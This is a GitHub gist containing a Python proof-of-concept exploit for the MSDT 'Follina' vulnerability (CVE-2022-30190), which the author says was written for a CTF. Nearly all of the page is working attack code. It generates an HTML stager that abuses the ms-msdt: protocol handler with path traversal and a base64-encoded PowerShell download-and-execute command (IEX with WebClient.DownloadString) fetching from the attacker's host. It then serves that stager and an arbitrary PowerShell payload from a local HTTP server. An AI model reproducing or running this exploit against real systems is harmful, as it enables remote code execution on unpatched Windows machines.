Skip to content

Instantly share code, notes, and snippets.

@bryanmcnulty
Created December 5, 2022 07:59
Show Gist options
  • Select an option

  • Save bryanmcnulty/a02d96eb10b3beb4ea35115993b1981a to your computer and use it in GitHub Desktop.

Select an option

Save bryanmcnulty/a02d96eb10b3beb4ea35115993b1981a to your computer and use it in GitHub Desktop.
MSDT Exploit (CVE-2022-30190)
#!/usr/bin/env python3
'''
* Written for a CTF :)
* ---
* Author: Bryan McNulty
* Contact: bryanmcnulty@protonmail.com
* GitHub: https://github.com/bryanmcnulty
* ---
* Dependencies:
* - argparse
* - colorama
*
* Simplified POC for Follina based off https://github.com/JohnHammond/msdt-follina
'''
import argparse
import base64
import zlib
from http.server import BaseHTTPRequestHandler, HTTPServer
from colorama import Fore, Style
BANNER = '''
__ __ ____ ____ _____ ____ __ _______ _ ____ _ _____
| \\/ | (_ (_`| _) \\|_ _| | ===|\\ \\/ /| ()_)| |__ / () \\| ||_ _|
|_|\\/|_|.__)__)|____/ |_| |____|/_/\\_\\|_| |____|\\____/|_| |_|
'''
def generate_stager(lhost, lport):
command = f'IEX(New-Object System.Net.WebClient).DownloadString("http://{lhost}:{lport}/1")'
return b'''<script>location.href="ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression(\'[System.Text.Encoding]\'+[char]58+[char]58+\'UTF8.GetString([System.Convert]\'+[char]58+[char]58+\'FromBase64String(\'+[char]34+\'^ENCODEDSHELL^\'+[char]34+\'))\'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\\"";//^PADDING^\n</script>
'''.strip().replace(b'^ENCODEDSHELL^', base64.b64encode(command.encode())).replace(b'^PADDING^', b'X'*4096)
class FollinaServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
if self.path == '/1':
self.wfile.write(PAYLOAD.encode())
else:
self.wfile.write(STAGE)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
'-l', '--lhost',
required = True,
help = 'Host to connect back to'
)
parser.add_argument(
'-p', '--lport',
type = int,
required = True,
help = 'Port to connect back to'
)
parser.add_argument(
'-c', '--command',
required = True,
help = 'Powershell command to run on target'
)
parser.add_argument(
'-s', '--srvhost',
help = 'Address that the HTTP server will listen on (Default: LHOST)'
)
parser.add_argument(
'-x', '--srvport',
type = int,
help = 'Port that the HTTP server will listen on (Default: LPORT)'
)
args = parser.parse_args()
if args.srvhost is None:
args.srvhost = args.lhost
if args.srvport is None:
args.srvport = args.lport
global STAGE, PAYLOAD
STAGE = generate_stager(args.lhost, args.lport)
PAYLOAD = args.command
follina_server = HTTPServer((args.srvhost, args.srvport), FollinaServer)
try:
print(Fore.GREEN + BANNER + Style.RESET_ALL)
print(f'[*] Starting exploit server on http://{args.srvhost}:{args.srvport}')
follina_server.serve_forever()
except KeyboardInterrupt:
follina_server.server_close()
except Exception as err:
print('Error:', err)
follina_server.server_close()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment